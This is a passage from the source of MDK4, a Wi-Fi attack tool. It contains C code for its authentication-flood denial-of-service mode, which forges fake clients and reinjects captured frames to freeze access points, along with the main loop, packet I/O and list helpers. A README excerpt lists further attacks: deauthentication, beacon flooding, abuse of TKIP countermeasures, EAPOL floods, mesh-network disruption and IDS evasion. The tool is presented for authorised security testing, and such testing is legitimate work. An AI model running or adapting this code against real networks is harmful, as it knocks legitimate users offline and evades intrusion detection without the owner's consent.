aopt->speed = 0; while ((opt = getopt(argc, argv, "a:mi:s:")) != -1) { switch (opt) { case 'a': if (aopt->intelligent) { printf("Select normal OR intelligent attack (either -a or -i), not both!\n"); return NULL; } aopt->target = malloc(sizeof(struct ether_addr)); *(aopt->target) = parse_mac(optarg); break; case 'm': aopt->valid_mac = 1; break; case 'i': if (aopt->target) { printf("Select normal OR intelligent attack (either -a or -i), not both!\n"); return NULL; } aopt->intelligent = 1; aopt->target = malloc(sizeof(struct ether_addr)); *(aopt->target) = parse_mac(optarg); break; case 's': aopt->speed = (unsigned int) atoi(optarg); break; default: auth_dos_longhelp(); printf("\n\nUnknown option %c\n", opt); return NULL; } } return (void *) aopt; } void auth_dos_sniffer(void *target) { struct packet sniffed; struct ieee_hdr *hdr; struct ether_addr *bssid, *dup; struct clistauthdos *curap; static struct ether_addr dupdetect; if (target) aps = add_to_clistauthdos(aps, *((struct ether_addr *) target), AUTH_DOS_STATUS_NEW, 0, 0); while(1) { sniffed = osdep_read_packet(); if (sniffed.len == 0) exit(-1); dup = get_destination(&sniffed); if (MAC_MATCHES(dupdetect, *dup)) continue; //Duplicate ignored MAC_COPY(dupdetect, *dup); //Check for APs in status UP and missing over 500! if (aps) { curap = aps; do { if ((curap->status == AUTH_DOS_STATUS_UP) && (curap->missing > 500)) { printf("\rAP "); print_mac(curap->ap); printf(" has stopped responding and seems to be frozen after %d clients.\n", curap->responses); curap->status = AUTH_DOS_STATUS_FROZEN; } curap = curap->next; } while (curap != aps); } hdr = (struct ieee_hdr *) sniffed.data; bssid = get_bssid(&sniffed); curap = search_ap(aps, *bssid); if (! target) { //We don't care about other APs when there is a fixed target if (hdr->type == IEEE80211_TYPE_BEACON) { if (! curap) { //New AP! aps = add_to_clistauthdos(aps, *bssid, AUTH_DOS_STATUS_NEW, 0, 0); apcount++; printf("\rFound new target AP "); print_mac(*bssid); printf(" \n"); } } } if ((hdr->type == IEEE80211_TYPE_AUTH) && curap) { struct auth_fixed *authpack = (struct auth_fixed *) (sniffed.data + sizeof(struct ieee_hdr)); if (authpack->seq == htole16((uint16_t) 2)) { if (authpack->status == 0) { curap->responses++; if (curap->status == AUTH_DOS_STATUS_NEW) { printf("\rAP "); print_mac(*bssid); printf(" is responding. \n"); curap->status = AUTH_DOS_STATUS_UP; curap->missing = 0; } else if ((curap->status == AUTH_DOS_STATUS_UP) && (! (curap->responses % 500))) { printf("\rAP "); print_mac(*bssid); printf(" is currently handling %d clients.\n", curap->responses); } if (curap->status == AUTH_DOS_STATUS_FROZEN) { printf("\rAP "); print_mac(*bssid); printf(" is accepting connections again!\n"); curap->status = AUTH_DOS_STATUS_UP; curap->missing = 0; curap->responses = 1; } } else { if (curap->status != AUTH_DOS_STATUS_FROZEN) { printf("\rAP "); print_mac(*bssid); printf(" is reporting ERRORs and denies connections after %d clients!\n", curap->responses); curap->status = AUTH_DOS_STATUS_FROZEN; } } } } } } void auth_dos_intelligent_sniffer(void *target) { struct clistauthdos *search; unsigned long data_size = 0; char size_warning = 0; struct packet pkt; struct ether_addr *src, *dest, *bssid, *target_ap = (struct ether_addr *) target; struct ieee_hdr *hdr; struct auth_fixed *af; while (1) { pkt = osdep_read_packet(); if (pkt.len == 0) exit(-1); bssid = get_bssid(&pkt); dest = get_destination(&pkt); if (! MAC_MATCHES(*bssid, *target_ap)) continue; // skip packets from other sources hdr = (struct ieee_hdr *) pkt.data; switch (hdr->type) { case IEEE80211_TYPE_AUTH: // Authentication Response af = (struct auth_fixed *) (pkt.data + sizeof(struct ieee_hdr)); if (af->status != AUTH_STATUS_SUCCESS) { ia_stats.c_denied++; break; } search = search_ap(cl, *dest); if (search == NULL) break; if (search->status < AUTH_DOS_STATUS_AUTHED) { //prevent problems since many APs send multiple responses search->status = AUTH_DOS_STATUS_AUTHED; ia_stats.c_authed++; } break; case IEEE80211_TYPE_ASSOCRES: // Association Response // We don't care if its successful, we just send data to let the AP do some work when deauthing the fake client again search = search_ap(cl, *dest); if (search == NULL) break; if (search->status < AUTH_DOS_STATUS_READY) { //prevent problems since many APs send multiple responses search->status = AUTH_DOS_STATUS_READY; ia_stats.c_assoced++; } break; case IEEE80211_TYPE_DEAUTH: case IEEE80211_TYPE_DISASSOC: // Deauth and Disassociation (fake client gets kicked) search = search_ap(cl, *dest); if (search == NULL) break; if (search->status != AUTH_DOS_STATUS_NEW) { //Count only one deauth if the AP does flooding search->status = AUTH_DOS_STATUS_NEW; ia_stats.c_kicked++; } break; case IEEE80211_TYPE_DATA: case IEEE80211_TYPE_QOSDATA: src = get_source(&pkt); // Check if packet got relayed (source adress == fake mac) search = search_ap(cl, *src); if (search != NULL) { ia_stats.d_relays++; break; } // Check if packet is an answer to an injected packet (destination adress == fake mac) search = search_ap(cl, *dest); if (search != NULL) { ia_stats.d_responses++; break; } // If it's none of these, check if the maximum lenght is exceeded if (data_size < max_data_size) { if ((pkt.data[1] & 3) != 3) { // Ignore WDS packets, too lazy to move data around in there dataclist = add_to_clist(dataclist, pkt.data, pkt.len, pkt.len); // increase ia_stats captured counter & data_size ia_stats.d_captured++; data_size += pkt.len; } } else { if (!size_warning) { printf("--------------------------------------------------------------\n"); printf("WARNING: mdk4 has now captured more than %ld MB of data packets\n", max_data_size / 1024 / 1024); printf(" New data frames will be ignored to save memory!\n"); printf("--------------------------------------------------------------\n"); size_warning = 1; } } default: // Not interesting, count something??? break; } } } struct ether_addr auth_dos_get_target() { struct clistauthdos *start; char frozen_only = 1; unsigned int apnr, i; static unsigned int select_any = 0; while (aps == NULL) { printf("\rWaiting for targets... \n"); sleep(1); } start = aps; do { if (start->status != AUTH_DOS_STATUS_FROZEN) { frozen_only = 0; break; } start = start->next; } while (start != aps); if (frozen_only) { //printf("\rAll APs in range seem to be frozen, selecting one of them nonetheless.\n"); //Too much blah blah apnr = random() % apcount; start = aps; for(i=0; inext; increment_here = start; return start->ap; } select_any++; apnr = random() % apcount; start = aps; for(i=0; inext; if (select_any % 3) while (start->status == AUTH_DOS_STATUS_FROZEN) start = start->next; //every third round, frozen APs will also be targeted increment_here = start; return start->ap; } struct packet auth_dos_get_data(struct ether_addr client, struct ether_addr bssid) { struct packet retn; struct ether_addr *dst, *src, *bss; struct ieee_hdr *hdr; //NOTE: ToDS frames are being reinjected with the source address of one of the fake nodes // FromDS frames are being rebroadcastet by setting ToDS flag + Broadcast destination //Skip some packets for variety dataclist = dataclist->next; dataclist = dataclist->next; //Copy packet out of the list memcpy(retn.data, dataclist->data, dataclist->data_len); retn.len = dataclist->data_len; hdr = (struct ieee_hdr *) retn.data; if (hdr->flags | 0x01) { //ToDS set -> reinject with fake source src = get_source(&retn); *src = client; } else { //FromDS -> set ToDS, and rebuild all MAC addresses hdr->flags &= 0xFC; // Clear DS field hdr->flags |= 0x01; // Set ToDS bit src = get_source(&retn); dst = get_destination(&retn); bss = get_bssid(&retn); *src = client; *bss = bssid; MAC_SET_BCAST(*dst); } return retn; } struct packet auth_dos_intelligent_getpacket(struct auth_dos_options *aopt) { struct clistauthdos *search; static int oldclient_count = 0; static char *ssid; struct ether_addr fmac, *ap; struct packet beacon, pkt; struct ieee_hdr *hdr; static uint16_t capabilities; if (! cl) { // Building first fake client to initialize list if (aopt->valid_mac) fmac = generate_mac(MAC_KIND_CLIENT); else fmac = generate_mac(MAC_KIND_RANDOM); cl = add_to_clistauthdos(cl, fmac, AUTH_DOS_STATUS_NEW, 0, 0); // Setting up statistics counters ia_stats.c_authed = 0; ia_stats.c_assoced = 0; ia_stats.c_kicked = 0; ia_stats.c_created = 1; //Has been created while initialization ia_stats.d_captured = 0; ia_stats.d_sent = 0; ia_stats.d_responses = 0; ia_stats.d_relays = 0; // Starting the response sniffer if (! sniffer) { sniffer = malloc(sizeof(pthread_t)); pthread_create(sniffer, NULL, (void *) auth_dos_intelligent_sniffer, (void *) aopt->target); } // Sniff one beacon frame to read the capabilities of the AP printf("Sniffing one beacon frame to read capabilities and SSID...\n"); while (1) { beacon = osdep_read_packet(); if (beacon.len == 0) exit(-1); hdr = (struct ieee_hdr *) beacon.data; if (hdr->type == IEEE80211_TYPE_BEACON) { ap = get_bssid(&beacon); if (MAC_MATCHES(*ap, *(aopt->target))) { ssid = get_ssid(&beacon, NULL); capabilities = get_capabilities(&beacon); printf("Capabilities are: 0x%04X\n", capabilities); printf("SSID is: %s\n", ssid); break; } } } } // Skip some clients for more variety cl = cl->next; cl = cl->next; if (oldclient_count < 30) { // Make sure that mdk4 doesn't waste time reauthing kicked clients or keeping things alive // Every 30 injected packets, it should fake another client oldclient_count++; search = search_authdos_status(cl->next, AUTH_DOS_STATUS_AUTHED); if (search != NULL) { //there is an authed client that needs to be associated //printf("\rAssociating authenticated client "); print_mac(search->ap); printf("\n"); pkt = create_assoc_req(search->ap, *(aopt->target), capabilities, ssid, 54); if (aopt->speed) sleep_till_next_packet(aopt->speed); return pkt; } search = search_authdos_status(cl->next, AUTH_DOS_STATUS_READY); if (search != NULL) { //there is a fully authed client that should send some data to keep it alive if (dataclist) { //printf("\rSending fake data via client "); print_mac(search->ap); printf("\n"); ia_stats.d_sent++; pkt = auth_dos_get_data(search->ap, *(aopt->target)); if (aopt->speed) sleep_till_next_packet(aopt->speed); return pkt; } } } // We reach here if there either were too many or no old clients search = NULL; // Search for a kicked client if we didn't reach our limit yet if (oldclient_count < 30) { oldclient_count++; search = search_authdos_status(cl, AUTH_DOS_STATUS_NEW); //if (search) { printf("\rAuthenticating disconnected client "); print_mac(search->ap); printf("\n"); } } // And make a new one if none is found if (search == NULL) { if (aopt->valid_mac) fmac = generate_mac(MAC_KIND_CLIENT); else fmac = generate_mac(MAC_KIND_RANDOM); search = add_to_clistauthdos(cl, fmac, AUTH_DOS_STATUS_NEW, 0, 0); //printf("\rCreating new client "); print_mac(search->ap); printf("\n"); ia_stats.c_created++; oldclient_count = 0; } // Authenticate the new/kicked clients pkt = create_auth(*(aopt->target), search->ap, 0x0001); if (aopt->speed) sleep_till_next_packet(aopt->speed); return pkt; } struct packet auth_dos_getpacket(void *options) { struct auth_dos_options *aopt = (struct auth_dos_options *) options; struct packet pkt; static unsigned int nb_sent = 0; static time_t t_prev = 0; if (aopt->intelligent) return auth_dos_intelligent_getpacket(aopt); if (! sniffer) { sniffer = malloc(sizeof(pthread_t)); pthread_create(sniffer, NULL, (void *) auth_dos_sniffer, (void *) aopt->target); } if (! aopt->target) { if ((nb_sent % 1024 == 0) || ((time(NULL) - t_prev) >= 5)) { t_prev = time(NULL); bssid = auth_dos_get_target(); //printf("\rSelected new target "); print_mac(bssid); printf(" \n"); // ToO much blah blah } } else { bssid = *(aopt->target); increment_here = search_ap(aps, bssid); } if (aopt->valid_mac) client = generate_mac(MAC_KIND_CLIENT); else client = generate_mac(MAC_KIND_RANDOM); pkt = create_auth(bssid, client, 1); if (aopt->speed) sleep_till_next_packet(aopt->speed); nb_sent++; if (increment_here) increment_here->missing++; //This gets reset once a response comes in return pkt; } void auth_dos_print_stats(void *options) { struct auth_dos_options *aopt = (struct auth_dos_options *) options; if(aopt->intelligent) { printf("\rClients: Created: %4d Authenticated: %4d Associated: %4d Denied: %4d Got Kicked: %4d\n", ia_stats.c_created, ia_stats.c_authed, ia_stats.c_assoced, ia_stats.c_denied, ia_stats.c_kicked); printf("Data : Captured: %4d Sent: %4d Responses: %4d Relayed: %4d\n", ia_stats.d_captured, ia_stats.d_sent, ia_stats.d_responses, ia_stats.d_relays); } else { printf("\rConnecting Client "); print_mac(client); printf(" to target AP "); print_mac(bssid); struct clistauthdos *search = search_ap(aps, bssid); if (search) { printf(" Status: %s.\n", status_codes[search->status]); } else { printf(".\n"); } } } void auth_dos_perform_check(void *options) { //unused options = options; //prevent warning } struct attacks load_auth_dos() { struct attacks this_attack; char *auth_dos_name = malloc(strlen(AUTH_DOS_NAME) + 1); strcpy(auth_dos_name, AUTH_DOS_NAME); this_attack.print_shorthelp = (fp) auth_dos_shorthelp; this_attack.print_longhelp = (fp) auth_dos_longhelp; this_attack.parse_options = (fpo) auth_dos_parse; this_attack.get_packet = (fpp) auth_dos_getpacket; this_attack.print_stats = (fps) auth_dos_print_stats; this_attack.perform_check = (fps) auth_dos_perform_check; this_attack.mode_identifier = AUTH_DOS_MODE; this_attack.attack_name = auth_dos_name; return this_attack; } mdk4-master/src/attacks/countermeasures.h0000644000175000017500000000063513525065636021617 0ustar samuelophsamueloph#ifndef HAVE_COUNTERMEASURES_H #define HAVE_COUNTERMEASURES_H #include "attacks.h" void countermeasures_shorthelp(); void countermeasures_longhelp(); struct attacks load_countermeasures(); void *countermeasures_parse(int argc, char *argv[]); struct packet countermeasures_getpacket(void *options); void countermeasures_print_stats(void *options); void countermeasures_perform_check(void *options); #endifmdk4-master/src/attacks/wids.h0000644000175000017500000000046313525065636017340 0ustar samuelophsamueloph#ifndef WIDS_H_ #define WIDS_H_ #include "attacks.h" void wids_shorthelp(); void wids_longhelp(); struct attacks load_wids(); void *wids_parse(int argc, char *argv[]); struct packet wids_getpacket(void *options); void wids_print_stats(void *options); void wids_perform_check(void *options); #endif mdk4-master/src/mdk4.c0000644000175000017500000001142513525065636015572 0ustar samuelophsamueloph#include #include #include #include #include #include #include "attacks/attacks.h" #include "osdep.h" #include "ghosting.h" #include "fragmenting.h" #include "channelhopper.h" #define VERSION "4.1" #define VERSION_COOL "Awesome!" void *global_cur_options; struct attacks *global_cur_attack; char *mdk4_help = "MDK4 " VERSION " - \"" VERSION_COOL "\"\n" "by E7mer, thanks to the aircrack-ng community\n" "MDK3, by ASPj of k2wrlz, using the osdep library from aircrack-ng\n" "And with lots of help from the great aircrack-ng community:\n" "Antragon, moongray, Ace, Zero_Chaos, Hirte, thefkboss, ducttape,\n" "telek0miker, Le_Vert, sorbo, Andy Green, bahathir, Dawid Gajownik,\n" "Ruslan Nabioullin and Alex Oberle\n" "THANK YOU!\n\n" "MDK is a proof-of-concept tool to exploit common IEEE 802.11 protocol weaknesses.\n" "IMPORTANT: It is your responsibility to make sure you have permission from the\n" "network owner before running MDK against it.\n\n" "This code is licenced under the GPLv2 or later\n\n" "MDK USAGE:\n" "mdk4 [attack_options]\n" "mdk4 [attack_options]\n\n" "Try mdk4 --fullhelp for all attack options\n" "Try mdk4 --help for info about one attack only\n\n"; void print_help_and_die(struct attacks *att, int att_cnt, char full, char *add_msg) { int i; printf("%s\n", mdk4_help); #ifdef __linux__ ghosting_print_help(); #endif frag_print_help(); printf("Loaded %d attack modules\n\n", att_cnt); for(i=0; iget_packet(options); if ((inject.data == NULL) || (inject.len == 0)) break; //Send packet if (frag_is_enabled()) ret = frag_send_packet(&inject); else ret = osdep_send_packet(&inject); if (ret) { printf("Injecting packet failed :( Sorry.\n"); exit(-1); } p_sent_ps++; p_sent++; //Show speed and stats if((time(NULL) - t_prev) >= 1) { t_prev = time(NULL); att->print_stats(options); printf("\rPackets sent: %6d - Speed: %4d packets/sec\n", p_sent, p_sent_ps); fflush(stdout); p_sent_ps=0; } //Perform checks att->perform_check(options); } } int parse_evasion(int argc, char *argv[]) { int i = 1; while(i < argc) { if (i >= argc) break; if (! strcmp(argv[i], "--ghost")) { parse_ghosting(argv[i + 1]); i += 2; } else if (! strcmp(argv[i], "--frag")) { parse_frag(argv[i + 1]); i += 2; } else return (i - 1); } return (i - 1); } int main(int argc, char *argv[]) { struct attacks *a, *cur_attack = NULL; void *cur_options; int i, att_cnt; int dual_interface = 0; a = load_attacks(&att_cnt); if (geteuid() != 0) print_help_and_die(a, att_cnt, 0, "mdk4 requires root privileges."); if (argc < 2) print_help_and_die(a, att_cnt, 0, NULL); if (! strcmp(argv[1], "--fullhelp")) print_help_and_die(a, att_cnt, 1, NULL); if (argc < 3) print_help_and_die(a, att_cnt, 0, NULL); if (strlen(argv[2]) != 1){ if(argc > 3){ if(strlen(argv[3]) != 1){ print_help_and_die(a, att_cnt, 0, "Attack Mode is only a single character!\n"); }else{ dual_interface = 1; } }else{ print_help_and_die(a, att_cnt, 0, "Attack Mode is only a single character!\n"); } } for(i=0; iprint_longhelp(); return 0; } if (osdep_start(argv[1], argv[1+dual_interface])) { printf("Starting OSDEP failed\n"); return 2; } /* drop privileges */ setuid(getuid()); for(i=0; iparse_options(argc - i, argv + i); if (!cur_options) return 1; srandom(time(NULL)); //Fresh numbers each run global_cur_options = cur_options; global_cur_attack = cur_attack; //Parsing done, start attacks main_loop(cur_attack, cur_options); return 0; } mdk4-master/src/dumpfile.h0000644000175000017500000000025113525065636016540 0ustar samuelophsamueloph#ifndef HAVE_DUMPFILE_H #define HAVE_DUMPFILE_H #include "packet.h" void dump_packet(struct packet *pkt); void start_dump(char *filename); void stop_dump(); #endif mdk4-master/src/dumpfile.c0000644000175000017500000000146513525065636016543 0ustar samuelophsamueloph#include #include #include "dumpfile.h" pcap_t *dumphandle = NULL; pcap_dumper_t *dumper = NULL; void dump_packet(struct packet *pkt) { struct timeval now; struct pcap_pkthdr hdr; if (! dumper) { printf("You need to start a dumpfile before dumping packets.\n"); return; } gettimeofday(&now, NULL); hdr.ts = now; hdr.caplen = pkt->len; hdr.len = pkt->len; pcap_dump((u_char *) dumper, &hdr, pkt->data); pcap_dump_flush(dumper); } void start_dump(char *filename) { if (dumper) { printf("Dumpfile is already opened, ignoring request\n"); return; } dumphandle = pcap_open_dead(DLT_IEEE802_11, BUFSIZ); dumper = pcap_dump_open(dumphandle, filename); } void stop_dump() { if (! dumper) return; pcap_dump_close(dumper); pcap_close(dumphandle); } mdk4-master/src/osdep.c0000644000175000017500000001632613525065636016052 0ustar samuelophsamueloph#include #include #include #include #include "osdep/osdep.h" #include "osdep.h" #ifdef __linux__ #include #include #include #else #warning NOT COMPILING FOR LINUX - Ghosting (IDS Evasion) will not be available #endif //Thats the max tx power we try to set, your fault if the hardware dies :P #define MAX_TX_POWER 50 int available_in_txpowers[MAX_TX_POWER]; int available_in_txpowers_count = 0; int available_out_txpowers[MAX_TX_POWER]; int available_out_txpowers_count = 0; int osdep_sockfd_in = -1; int osdep_sockfd_out = -1; static struct wif *_wi_in, *_wi_out; struct devices { int fd_in, arptype_in; int fd_out, arptype_out; int fd_rtc; } dev; int current_channel = 0; char *osdep_iface_in = NULL; char *osdep_iface_out = NULL; int osdep_start(char *interface1, char *interface2) { osdep_iface_in = malloc(strlen(interface1) + 1); strcpy(osdep_iface_in, interface1); osdep_iface_out = malloc(strlen(interface2) + 1); strcpy(osdep_iface_out, interface2); /* open the replay interface */ _wi_out = wi_open(interface2); if (!_wi_out){ printf("open interface %s failed.\n", interface2); return 1; } dev.fd_out = wi_fd(_wi_out); if(!strcmp(interface1, interface2)){ /* open the packet source */ _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; } else{ /* open the packet source */ _wi_in = wi_open(interface1); if (!_wi_in){ printf("open interface %s failed.\n", interface1); return 1; } dev.fd_in = wi_fd(_wi_in); } return 0; } int osdep_send_packet(struct packet *pkt) { struct wif *wi = _wi_out; /* XXX globals suck */ if (wi_write(wi, pkt->data, pkt->len, NULL) == -1) { switch (errno) { case EAGAIN: case ENOBUFS: usleep(10000); return 0; /* XXX not sure I like this... -sorbo */ } perror("wi_write()"); return -1; } return 0; } struct packet osdep_read_packet() { struct wif *wi = _wi_in; /* XXX */ int rc; struct packet pkt; do { rc = wi_read(wi, pkt.data, MAX_PACKET_SIZE, NULL); if (rc == -1) { perror("wi_read()"); pkt.len = 0; return pkt; } } while (rc < 1); pkt.len = rc; return pkt; } void osdep_set_channel(int channel) { if(_wi_out == _wi_in){ wi_set_channel(_wi_out, channel); }else{ wi_set_channel(_wi_out, channel); wi_set_channel(_wi_in, channel); } current_channel = channel; } int osdep_get_channel() { return current_channel; } void osdep_set_rate(int rate) { int i, valid = 0; for (i=0; i max_out) max_out = available_out_txpowers[i]; } if(strcmp(osdep_iface_in, osdep_iface_out)){ if (! available_in_txpowers_count) { printf("You forget to osdep_init_txpowers()!\n"); return 0; } for (i=0; i max_in) max_in = available_in_txpowers[i]; } } return max_out > max_in ? max_in : max_out; } #endif mdk4-master/src/linkedlist.c0000644000175000017500000001412413525065636017074 0ustar samuelophsamueloph#include #include #include #include "linkedlist.h" pthread_mutex_t clist_mutex = PTHREAD_MUTEX_INITIALIZER; struct clist *search_status(struct clist *c, int desired_status) { if (!c) return NULL; pthread_mutex_lock(&clist_mutex); struct clist *first = c; do { if (c->status == desired_status) { pthread_mutex_unlock(&clist_mutex); return c; } c = c->next; } while (c != first); pthread_mutex_unlock(&clist_mutex); return NULL; } struct clistwidsclient *search_status_widsclient(struct clistwidsclient *c, int desired_status, int desired_channel) { if (!c) return NULL; pthread_mutex_lock(&clist_mutex); struct clistwidsclient *first = c; do { if ((c->status == desired_status) && ((c->bssid->channel == desired_channel) || (desired_channel = -1))) { pthread_mutex_unlock(&clist_mutex); return c; } c = c->next; } while (c != first); pthread_mutex_unlock(&clist_mutex); return NULL; } struct clist *search_data(struct clist *c, unsigned char *desired_data, int data_len) { if (!c) return NULL; pthread_mutex_lock(&clist_mutex); struct clist *first = c; do { if (data_len <= c->data_len) { if (! (memcmp(c->data, desired_data, data_len))) { pthread_mutex_unlock(&clist_mutex); return c; } } c = c->next; } while (c != first); pthread_mutex_unlock(&clist_mutex); return NULL; } struct clistwidsap *search_bssid(struct clistwidsap *c, struct ether_addr desired_bssid) { if (!c) return NULL; pthread_mutex_lock(&clist_mutex); struct clistwidsap *first = c; do { if (MAC_MATCHES(c->bssid, desired_bssid)) { pthread_mutex_unlock(&clist_mutex); return c; } c = c->next; } while (c != first); pthread_mutex_unlock(&clist_mutex); return NULL; } struct clistwidsclient *search_client(struct clistwidsclient *c, struct ether_addr mac) { if (!c) return NULL; pthread_mutex_lock(&clist_mutex); struct clistwidsclient *first = c; do { if (MAC_MATCHES(c->mac, mac)) { pthread_mutex_unlock(&clist_mutex); return c; } c = c->next; } while (c != first); pthread_mutex_unlock(&clist_mutex); return NULL; } struct clistauthdos *search_ap(struct clistauthdos *c, struct ether_addr ap) { if (!c) return NULL; pthread_mutex_lock(&clist_mutex); struct clistauthdos *first = c; do { if (MAC_MATCHES(c->ap, ap)) { pthread_mutex_unlock(&clist_mutex); return c; } c = c->next; } while (c != first); pthread_mutex_unlock(&clist_mutex); return NULL; } struct clist *add_to_clist(struct clist *c, unsigned char *data, int status, int data_len) { pthread_mutex_lock(&clist_mutex); struct clist *new_item = (struct clist *) malloc(sizeof(struct clist)); new_item->data = malloc(data_len); new_item->data_len = data_len; if (c) { new_item->next = c->next; c->next = new_item; } else { new_item->next = new_item; } memcpy(new_item->data, data, data_len); new_item->status = status; pthread_mutex_unlock(&clist_mutex); return new_item; } struct clistwidsap *add_to_clistwidsap(struct clistwidsap *c, struct ether_addr bssid, int channel, uint16_t capa, char *ssid) { pthread_mutex_lock(&clist_mutex); struct clistwidsap *new_item = (struct clistwidsap *) malloc(sizeof(struct clistwidsap)); new_item->bssid = bssid; if (c) { new_item->next = c->next; c->next = new_item; } else { new_item->next = new_item; } new_item->channel = channel; new_item->capa = capa; new_item->ssid = malloc(strlen(ssid) + 1); strcpy(new_item->ssid, ssid); pthread_mutex_unlock(&clist_mutex); return new_item; } struct clistwidsclient *add_to_clistwidsclient(struct clistwidsclient *c, struct ether_addr mac, int status, unsigned char *data, int data_len, uint16_t sequence, struct clistwidsap *bssid) { pthread_mutex_lock(&clist_mutex); struct clistwidsclient *new_item = (struct clistwidsclient *) malloc(sizeof(struct clistwidsclient)); new_item->mac = mac; new_item->data = malloc(data_len); if (c) { new_item->next = c->next; c->next = new_item; } else { new_item->next = new_item; } memcpy(new_item->data, data, data_len); new_item->status = status; new_item->data_len = data_len; new_item->bssid = bssid; new_item->retries = 0; new_item->seq = sequence; pthread_mutex_unlock(&clist_mutex); return new_item; } struct clistauthdos *add_to_clistauthdos(struct clistauthdos *c, struct ether_addr ap, unsigned char status, unsigned int responses, unsigned int missing) { pthread_mutex_lock(&clist_mutex); struct clistauthdos *new_item = (struct clistauthdos *) malloc(sizeof(struct clistauthdos)); new_item->ap = ap; if (c) { new_item->next = c->next; c->next = new_item; } else { new_item->next = new_item; } new_item->status = status; new_item->responses = responses; new_item->missing = missing; pthread_mutex_unlock(&clist_mutex); return new_item; } struct clistauthdos *search_authdos_status(struct clistauthdos *c, int desired_status) { if (!c) return NULL; pthread_mutex_lock(&clist_mutex); struct clistauthdos *first = c; do { if (c->status == desired_status) { pthread_mutex_unlock(&clist_mutex); return c; } c = c->next; } while (c != first); pthread_mutex_unlock(&clist_mutex); return NULL; } struct clistwidsap *search_bssid_on_channel(struct clistwidsap *c, int desired_channel) { if (!c) return NULL; pthread_mutex_lock(&clist_mutex); struct clistwidsap *first = c; do { if (desired_channel == c->channel) { pthread_mutex_unlock(&clist_mutex); return c; } c = c->next; } while (c != first); pthread_mutex_unlock(&clist_mutex); return NULL; } struct clistwidsap *shuffle_widsaps(struct clistwidsap *c) { int i, rnd = random() % SHUFFLE_DISTANCE; struct clistwidsap *r = c; for(i=0; inext; return r; } struct clistwidsclient *shuffle_widsclients(struct clistwidsclient *c) { int i, rnd = random() % SHUFFLE_DISTANCE; struct clistwidsclient *r = c; for(i=0; inext; return r; } mdk4-master/src/debug.h0000644000175000017500000000015113525065636016020 0ustar samuelophsamueloph#ifndef HAVE_DEBUG_H #define HAVE_DEBUG_H void print_packet(unsigned char *h80211, int caplen); #endif mdk4-master/src/osdep.h0000644000175000017500000000140413525065636016046 0ustar samuelophsamueloph#ifndef HAVE_OSDEP_H #define HAVE_OSDEP_H #include "packet.h" #ifdef __GNUC__ #define VARIABLE_IS_NOT_USED __attribute__ ((unused)) #else #define VARIABLE_IS_NOT_USED #endif #define VALID_RATE_COUNT 12 static VARIABLE_IS_NOT_USED int VALID_BITRATES[VALID_RATE_COUNT] = { 1000000, 2000000, 5500000, 6000000, 9000000, 11000000, 12000000, 18000000, 24000000, 36000000, 48000000, 54000000 }; int osdep_start(char *interface1, char *interface2); int osdep_send_packet(struct packet *pkt); struct packet osdep_read_packet(); void osdep_set_channel(int channel); int osdep_get_channel(); void osdep_set_rate(int rate); //IDS Evasion (Ghosting) #ifdef __linux__ void osdep_init_txpowers(); void osdep_random_txpower(int min); int osdep_get_max_txpower(); #endif #endif mdk4-master/src/debug.c0000644000175000017500000000224013525065636016014 0ustar samuelophsamueloph#include #include "debug.h" void print_packet(unsigned char *h80211, int caplen) { int i,j; printf( " Size: %d, FromDS: %d, ToDS: %d", caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { if( ( h80211[27] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } for( i = 0; i < caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf("\n"); } mdk4-master/README.md0000644000175000017500000002634313525065636015264 0ustar samuelophsamueloph# MDK4 MDK is a proof-of-concept tool to exploit common IEEE 802.11 protocol weaknesses. # About MDK4 MDK4 is a new version of MDK3. MDK4 is a Wi-Fi testing tool from E7mer of 360PegasusTeam, ASPj of k2wrlz, it uses the osdep library from the aircrack-ng project to inject frames on several operating systems. Many parts of it have been contributed by the great aircrack-ng community: Antragon, moongray, Ace, Zero_Chaos, Hirte, thefkboss, ducttape, telek0miker, Le_Vert, sorbo, Andy Green, bahathir, Dawid Gajownik and Ruslan Nabioullin. THANK YOU! MDK4 is licenced under the GPLv2 or later. # Installation apt-get install pkg-config libnl-3-dev libnl-genl-3-dev libpcap-dev git clone https://github.com/aircrack-ng/mdk4 cd mdk4 make sudo make install # Features - Supports two WiFi card (one for receiving data, another for injecting data). - Supports block the specified ESSID/BSSID/Station MAC in command option. - Supports both 2.4 to 5GHz (Linux). - supports IDS Evasion (Ghosting, Fragmenting, Does not fully work with every driver). - supports packet fuzz testing. # ATTACK MODE ATTACK MODE b: Beacon Flooding Sends beacon frames to show fake APs at clients. This can sometimes crash network scanners and even drivers! ATTACK MODE a: Authentication Denial-Of-Service Sends authentication frames to all APs found in range. Too many clients can freeze or reset several APs. ATTACK MODE p: SSID Probing and Bruteforcing Probes APs and checks for answer, useful for checking if SSID has been correctly decloaked and if AP is in your sending range. Bruteforcing of hidden SSIDs with or without a wordlist is also available. ATTACK MODE d: Deauthentication and Disassociation Sends deauthentication and disassociation packets to stations based on data traffic to disconnect all clients from an AP. ATTACK MODE m: Michael Countermeasures Exploitation Sends random packets or re-injects duplicates on another QoS queue to provoke Michael Countermeasures on TKIP APs. AP will then shutdown for a whole minute, making this an effective DoS. ATTACK MODE e: EAPOL Start and Logoff Packet Injection Floods an AP with EAPOL Start frames to keep it busy with fake sessions and thus disables it to handle any legitimate clients. Or logs off clients by injecting fake EAPOL Logoff messages. ATTACK MODE s: Attacks for IEEE 802.11s mesh networks Various attacks on link management and routing in mesh networks. Flood neighbors and routes, create black holes and divert traffic! ATTACK 